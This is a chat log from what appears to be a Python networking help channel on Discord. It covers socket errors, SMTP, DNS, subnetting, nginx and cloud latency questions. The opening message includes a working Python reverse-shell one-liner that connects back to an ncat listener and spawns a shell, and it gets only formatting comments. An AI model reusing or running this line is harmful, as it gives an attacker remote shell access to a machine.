im running some code to make a connection back to a listener however i get the connection twice and the get the error OSError: [Errno 9] Bad file descriptor the listener output Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::9001 Ncat: Listening on 0.0.0.0:9001 Ncat: Connection from 192.168.1.218. Ncat: Connection from 192.168.1.218:1477. code import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.83",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh") any ideas
!rule 6 9 - we don't allow recruiting for paid work here.
6. Do not post unapproved advertising.
9. Do not offer or ask for paid work of any kind.
running code on windows and listener on linux
why have you compressed your code when its not working yet at this stage
It's a one liner I know works but idk if it's not working cuz it's Linux only I've had and seen it working on linux so
does ; count as one line?
Well it's one line of code so maybe not a true one liner
hello guys i don't know if anyone here has an experience with 802.1x encryption
has anyone have experienced with ubuntu linux?
Don't ask to ask, just ask
Lmao
i cant share links so put it in google and read it
I already finished it
Has anyone used SMTP ?
I need help setting up my gmail account to access smtp service
If you're trying to send via SMTP, you need another provider now https://support.google.com/accounts/answer/6010255?hl=en
To help keep your account secure, from May 30, 2022, Google no longer supports the use of third-party apps or devices which ask you to sign in to your Google Account using only your
Thanks for the reply.
Actually I found a way around, you just need to use 2FA and then set a password for your app then use those credentials then it worked.
Hello everyone. Is there anyone here who works within the healthcare industry? I have taken up a project in NLP in the industry, and I was wondering if there are any discussions concerning patients' privacy in machine learning.
anyone need help with cors i gitchy
Yeah
Aren't iterative queries direct, from the client to the DNS server? (this image is from cloudflare about DNS lookup) Why are the requests from the resolver considered iterative, is the resolve considered the client?
Does the same origin policy block cross-origin post requests from being sent to the server or only block the response?
i am making a chatbox and i have a problems with socketd
OSError: [WinError 10048] Normally only one use of each socket address (protocol/network address/port) is allowed
@minor fjordwork
poor NET
did you know that by simply googling the error, you get some answers :)
but ill explain anyway
either there exists a process thats already using a server socket on the port you want to use
or
your script is trying to bind 2 server sockets to the same address and port
@ember ledge
show me your code
Pasting large amounts of code
If your code is too long to fit in a codeblock in Discord, you can paste your code here:
https://paste.pythondiscord.com/
After pasting your code, save it by clicking the floppy disk icon in the top right, or by typing ctrl + S. After doing that, the URL should change. Copy the URL and post it here so others can see it.
not DM's, here please
ah i see the issue
yeah?
:huh
no, dont copy/paste without understanding 😫
what i sent was your code
server: socket.bind((HOST, PORT))
client: socket.connect((HOST, PORT))
other way round
?
so
wait
do u mean
server = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
server.bind((HOST , PORT) )
like this
server = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
server.connect((HOST , PORT) )
for client
yes!
the server should use the address: "0.0.0.0"
the client should use the ip address (like how it does now anyway)
ok
but
PORT?
1234 is fine?
cause this is a chatbox and i would like everyoen to localhost
not host by my pc
yk
@prisma cobalt
🙏
it should be yes
the thing i am coding
its a chatbox
i want it to host on their ip
not mine
when they connect does it connect on their ip?
only one person needs to host (the server). everyone else is a client
do you know how functions work
on cmd what do i type
i would reccomend learning the basics of python before doing this kind of thing, relatively, its very complex
because you dont know how to fix it yeah
what operating system are you running? if its windows then you can do: python server.py
thats because you never actually called your functions
it takes a single line of code
i need this chatbox my friend wanted it for his bday
so we can play amongus
while chatting
on that
cant you use discord for that lol
and what is it pls tell me i gtg
i cant help you very much because you dont know python. working with sockets is something you should do after learning at least the basics
fun fact
but it wont help you much because your entire client script wont work how you intend
ah, it wasnt in the pastebin link thing lol
it is
xd
so what do i do
if i throwed away my day for this im kinda sad
i am 13
i did all my homework and had to prepare my bag and shit before coding
but
all the time i had
i wastd it
while i coudlve
learnt
python
ah, i see it. you have to deindent it so its touching the left side
deindent all?
BRUH
not all, just that line
which line
the last line, the receive()
where do i put it
def receive():
while True:
client, adress = server.accept()
print (f"Connected with {str (adress)}!")
client.send ("NICK".encode('utf-8'))
nickname = client.recv(1024)
nicknames.append(nickname)
clients.append (client)
print(f"Nickname of the client is {nickname }")
broadcast(f"{nickname} joined the chat \n" .encode('utf-8'))
client.send ("Connected to the server".encode ('utf-8'))
thread = threading.Thread(target = handle , args= (client,))
thread.start()
print(f"Server Running...")
receive()
what python version are you running, modern ones require you to pass an integer into server.listen()
how to check
run python --version in cmd
good
are you getting an error?
ye
what error
SHIT BRO
I AM SO TRASH
i added after port
lemme check
if works
nah
i type
@prisma cobalt
python server.py
nothing happens
theres no errors
running problems
only
thats because you need to call your function by deindenting the receive()
wdym
.
send the new server code again
Pasting large amounts of code
If your code is too long to fit in a codeblock in Discord, you can paste your code here:
https://paste.pythondiscord.com/
After pasting your code, save it by clicking the floppy disk icon in the top right, or by typing ctrl + S. After doing that, the URL should change. Copy the URL and post it here so others can see it.
reindent it more
more to left
yes
it shows as error
what error
show me
what doesnt work
it doesnt run
error
translated : OSError: [WinError 10048] Normally only one use of each socket address (protocol/network address/port) is allowed
wait should the port be on client and server
or only server
or only client
both
run the server only, not the client
something else is running on that port then
trying changing the port number
to 13346 or something
i have to go
i recommend you learn python before doing this
You are not allowed to use that command here. Please use the #bot-commands channel instead.
Hello , I'm a beginner in python, what means socket.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) ? IP headers are automatically set by linux kernel ?
LOL
Can someone please help me with a sockets issue in #help-corn.
Read here
Oh thought i'd be more tkinter issue not networks i'm not very well with this sorry
can someone explain what the difference between an access point and a repeater is?
i have 4 threads which subscribe to 4 different mqtt topics. after some hours the processes dont get updated anymore, anyone has an idea?
the gui is still working but getting no updates
i have the subscribe in the on_connect
Anyone object to me posting a random question here about how a ping can work in unexpected ways?
ok
Hey Guys I Want To Learn Sockets module in python So What Should I Do To Learn It
And I Don`t Know Any thing About Networking
check the last two pins on this channel, theres some good resources
hi
i have an idea about a script that checks the network if there are devices run the same script like the apple move connection of airpods between iphone, mac, ipad is there any way to do it?
Write a TCP server that provides the following functionality: 1. Be able to communicate over TCP with a client such nc(netcat), telnet, or a custom TCP client.
Any ideas how to do it?
Out or curiosity, is this for an online course/school? Wondering cause id like to enroll in sth if the sort
No this was a interview question
Ah cool, if you dont mind was it for a networking job or devops?
what layer contains the header for the protocol that the packet is in (ARP or IPv4)
Hello,
I've been trying to add subdomain functionality to my web api. I've managed to make the site work when no subdomain is used. However I get an error returned when a subdomian is used.
Basic setup of the site:
Client -> Cloudflare -> Nginx server -> Waitress -> Flask
I've added a wildcard A record on CloudFlare.
Here is a flask endpoint I made with subdomains:
import flask
from waitress import serve
app = flask.Flask(__name__)
app.config["SERVER_NAME"] = "localhost:5000"
@app.route("/v1", subdomain="<site>", methods=["GET"])
def sub_api(site):
"Args: headers={token} | Returns gateway's response"
return "Test", 200
serve(app, host="localhost", port=5000, url_scheme='https')
Here is my nginx config (which I think is the problem):
I tried adding a nginx wildcard for subdomains as shown in the server block above. However I get this returned in the nginx error log file and a bad gateway error when getting: https://www.groups.redacted.co.uk/v1
No resolver defined to resolve groups.localhost, server: ~^(?<subdomain>[^.]+).redacted.co.uk$, request: "GET /v1 HTTP/1.1", host: "groups.redacted.co.uk", referrer: "https://groups.redacted.co.uk/v1"
Any help you guys could give to help me resolve this problem would be amazing.
Third I believe, the network layer
Either that or 2nd but I’m not fully sure
ARP operates in 2nd
Actually hmm
ARP maps MACs to IPs, right? I guess then it could fall under both 2nd and 3rd
Hey guys, can someone clarify a thing or two about Flask for me? I need to create small HTTP server, serving only one endpoint, but the catch is that i need to handle client requests concurrently, and this endpoint needs to return request within the timeout that users specifies in the request. I know that it's not good to handle concurrency in the http handlers itself, and usually people will use something like Flask - Redis - Celery app. My question is: if users sets the timeout to be something like 500ms, won't redis + celery bottleneck this process? Should I just do it in the flask server itself, or delegate it?
the initial ARP request would operate on layer 3 since its trying to figure out the targets mac address via the IP of the target
If I have two threads that are sending data to the same socket, will the bits streams "overlap" and get corrupted?
Where would I start looking for information about setting up a small business network. Do I need any hardware? How do employees connect to the network? Via VPN or other means (most will be remote working)? Does each employee need any software to connect to the network?
The answers to these questions really depend on a lot of details specific to your requirements and budget. It's well worth consulting a professional before you make any major decisions.
A lot of small businesses will hire a local MSP to set up and manage their network. This does come with cost but a good MSP is worth the cost if you're requirements are beyond what you can manage well internally
You might not need a VPN if public cloud-based solutions are cheaper. My company has over 20 employees and no network. Just Google Drive and things like that
Thanks for the info. I've asked my boss to possibly consider a contractor to which he didn't want to, to save on costs. They'd rather me, who has no experience in this area, do it for them, hence the questions. We have around 10-15 employees currently and like you, we also use GDrive and other services which has been fine. I think they are more worried about cybersecurity though with the data we have and will obtain in the future.
I'll have a look into some MSPs and see if they will decide on that instead
The main security advantage of having your own network would come from domain policies that manage the security posture of the devices in your network... This is not something you can manage without a professional sysadmin, and you're probably too small for that. If they're really serious about security, hiring an MSP is pretty much essential in my view
Good luck 🙂
Is this the best/right place to ask about webscraping?
Eh. We don't have a dedicated webscraping channel, but #web-development might be the closest
Sorry, had to follow you in here. this channel doesn't seem like the best place for it lol
Oh no worries! I'm always happy to see you around. You've been incredibly helpful!
Howdy, i have a questions about the socket library, How can I make my sockets from the server public for everyone? I mean, how can I connect to my socket server using another device? Can I put a name for my socket server (For example: example-socket.io)?
I want to build a packet based network intrusion/anomaly detection software that detects any anomalous activity on the network and issues the alert for the same....like I want to make it practical and work on actual network instead of provided data sets...I posted this in #cybersecurity but since it is more of a networking project so I am putting it here as well...if anyone has worked on any IDS related stuff then please let me know I need some guidance
hey guys, i'm encountering this error, can anybody point me in a direction i should look?
a "client" will connect to your server, the code is a bit different but apart from that, the client need's to specify the IP and port of the server
A little question that requires a lot of explanation:
How to make a pop-up screen appear when someone visited a certain Wiki-page 2 times? (for school based purposes) with some text?
And can this be achieved with Python or are other languages better?
@ember ledge , you'd want to probably do a cookie mechanism?
Hm not sure. Can this be done in a different way? Like that the adresses of the websites are stored lockaly?
I'm not following.
How to make a pop-up screen appear when someone visited a certain Wiki-page 2 times
Something has to know the state, and it makes the most sense for the client to remember this since it's going to be harder to accurately fingerprint devices without a login. Then within the site, use javascript to look at cookies and act on them?
a subnetted network with ip 192.168.0.1/27 has 8 subnets. the subnet mask will be common to all subnets (255.255.255.224) but subnet id/network id will be different for each subnet? Am i correct or is there something else?
What do you mean by "subnet ID" and "network ID"?
I haven't heard of a network and subnet ID unless those are just the network IP and subnet mask, respectively
the subnet mask will be common to all subnets
Not necessarily, variable subnetting exists, if we're to be pedantic
I am working on a project in which i use requests to get a json response, the response contains 5 properties, i want to print a value of 1 property
and?
I am not able to figure out how to print a value of a key
you can use the json method on the response to get the json object
from there, you can check the presence and value of said property
Oh tq
Tq
I saw the pinned messages, but yeah I couldnt find an independent resource to understand some basic concepts in computer networking (separate from python)
For example what sending a request does, the differences between localhosting and public hosting(?), how public domains work, what FTP is etc.
Things that people seem to know before actually using python with it
I'm really bad at networking and I'd like to know the absolute basics before I get to actually doing something with python for it
And I mean really bad
I can do basic front end, and I'd say I'm objectively competent with using Python itself
I've used sockets a while back but.. those were really questionable attempts (plus I didnt know what I was doing)
how does latency become an issue when data centers are in cloud?
doesn't the data needed for users directly transmit from data center to users?
does it always travel from data center to org and then to user or directly?
Having a server far away from its user requires the information and data to travel longer distances leading to higher latency
im unable to understand this statement.
if this itself is a problem, will being in an onpremise data center not be a problem? Cos when users are spread out we have the ability to buy servers at diff locations and thus decrease latency...whilst an on premise data center is difficult as we need to develop a new one and even maintain it...(These come as a result of my understanding that the data from data centers travel directly to users)
correct me if I'm understanding things wrong
ping me on reply
It's an issue of physics. Your data travelling down a wire at best can only go the speed of light. So the more distance it has to travel the slower it's going to take
If your data center is in the USA and your users are in the UK for example
It's got to travel half way around the world in order to get to the user who requested the data
(this is a simplification because TCP and things doing lots of round trips)
The solution a lot of companies employee where latency matters is you have systems distributed across several data centers in several locations. And direct the user's requests to what ever data center is geographically closer to them. Which in turn, results in lower latency.
This is basically the entire reason why people use things like CDNs and the 'edge' networks, which are basically what I just described above.
so data travels from data center directly to users?
I thgt it would travel form data center to org and then to user.... and thats the reason latency was low when we considered the case of on-premise data center
Probably the simplest way to think about it, in reality it there's other parts to the puzzle but they all have the same affect
I mean I don't understand what you mean by org btw
ok lemme give an example
lets say i have ABC company in German, cloud data storage in USA and user from UK
consider this scenario
org here is organization (ABC company)
If the org is running their own services in Germany, let's say a website backend. But their database is hosted in the cloud in the US, if a user goes and requests the site. Then yes it will basically go:
User <-> Website backend (Germany) <-> Database (USA)
Im considereing the processing happens in the organisation after it fetches data from that clound and sends a http response containing the dynamic web page
this question did really bring the ability to articulate my thoughts. Thanks for asking
But on premises realistically isn't always faster, it can certainly be slower in fact.
The general rule is closer is to the end user is better. But your network has to be able to support it and often on prem requires a bunch of additional infrastructure that most companies don't want to deal with
It's also often more expensive than just going 'well we might as well just use AWS and have it in the London region'
so if the services are also in cloud then the response directly goes from cloud to user
My internet is breaking up as well, nice
If nothing else is acting as a middle man then yes
then edge computing would result in over head right? cos we need to have the copy of data in all servers and also the services?
If your website is hosted in the US, and the user requests the site, it'll be going to the US, it won't be making a stop off at Germany just because your company happens to be registered there 😅
At least that's all you really need to think of it as
understood
Yes, but the result gives you an average lower latency for all users across the world, since the data is replicated
But yes, distributed data and replication has overheads
oh yea it has the benefit that when system goes down it could go for next nearest server
Thanks for this
I was actually looking at edge computing and thats when I got this doubt
And to my surprise you answered a part of my answer in the beginning itself
without even me mentioning about edge computing
Thanks @gloomy root
@gloomy root ahhh got another doubt now,
-> when we have the ability to set up servers in cloud of our choice why is there a latency issue?
-> also latency is lesser in cloud as compared to that of on premise right?
Hey I want to send a UDP message from a SPS and convert that into a CAN message anybody can help me or give m a Idea how to realize it?
anyone have experinece with the cisco CLI
i need just a tiny bit of help understanding an issue, im certain i have my configurations correct but my test pings keep failing
yep, I’ll do my best to help
Sorry I got it resolved
